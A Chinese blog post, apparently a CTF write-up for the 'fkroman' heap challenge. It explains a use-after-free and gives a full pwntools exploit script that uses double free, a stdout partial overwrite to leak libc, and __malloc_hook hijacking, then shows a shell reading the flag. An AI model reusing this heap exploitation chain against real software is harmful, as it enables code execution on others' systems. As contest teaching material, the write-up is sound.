Jcxp's blog

XCTF云安全共测大赛初赛 fkroman writeup

Word count: 543Reading time: 3 min
2019/09/20 Share

前言

这道题又是UAF+_IO_2_1_stdout_的利用,关于_IO_2_1_stdout_可以参考这篇文章

漏洞分析

这道题在free时存在明显的UAF漏洞,另外这道菜单堆的show部分只输出固定的字符串No way

1
2
3
4
5
6
7
8
9
10
11
int __fastcall free_(unsigned int a1)
{
int result; // eax

if ( a1 <= 0xFF )
{
free(qword_4060[a1]);
result = puts("Done!\n"); // uaf
}
return result;
}

漏洞利用

利用思路

  • double free使得heap可控
  • 利用unsorted bin留下的脚印爆破stdout,改stdout泄露地址
  • 劫持hook

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#-*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
host, port = "121.40.246.48", "9999"
filename = "./fkroman"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc-2.23.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)





def add(idx,size):
p.sendlineafter('Your choice: ','1')

p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def delete(idx):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)


def pwn():
global p
p=getConn()

add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x60)
edit(0,0x60,'a' * 0x50 + p64(0) + p64(0x71))
edit(1,0x60,'b' * 0x50 + p64(0) + p64(0x71))



delete(0)
delete(1)
delete(0)

add(4,0x60)
edit(4,1,'\x60')
add(5,0x60)
add(6,0x60)

add(7,0x60)
edit(7,0x10,p64(0)+p64(0xe1))

delete(1)


delete(0)
delete(2)
delete(0)


add(4,0x60)
edit(4,1,'\xd0')
add(5,0x60)
add(6,0x60)

add(7,0x60)
edit(7,0x10,p64(0)+p64(0x71))

delete(2)
add(8,0x28)
add(8,0x38)
#debug([0x149E])
edit(7,0x12,p64(0) + p64(0x71) + p16(0x25dd))

add(6,0x60)

add(8,0x60)
try:
edit(8,84,'0'*0x33+p64(0x0fbad1800) + p64(0) * 3 + "\x00")
except:
log.failure("not lucky enough!")
p.close()
return False
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak=%s'% hex(leak))

libc_addr=leak-0x3c5600
log.info('libc_addr=%s'% hex(libc_addr))
if libc_addr>>40 !=0x7f or libc_addr&0xfff !=0:
log.failure("fail")
p.close()
return False

log.success('libc_addr=%s'%hex(libc_addr))
fake=libc_addr+libc.sym["__malloc_hook"]-0x23
#
delete(6)
edit(7,0x18,p64(0) + p64(0x71) + p64(fake))
add(0,0x60)
add(8,0x60)
edit(8,27,"a"*0x13+p64(libc_addr+0xf1147))

add(0,0x60)
p.interactive()
print 'success'
p.close()
return True

while not pwn():
pass

运行实例

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
$ ls
bin
dev
fkroman
flag
helloworld
lib
lib32
lib64
$ cat flag
ctf{63f2fa2d7f94394dc3d8e9be1abd34c4}
CATALOG
  1. 1. 前言
  2. 2. 漏洞分析
  3. 3. 漏洞利用
    1. 3.1. 利用思路
    2. 3.2. 完整脚本
    3. 3.3. 运行实例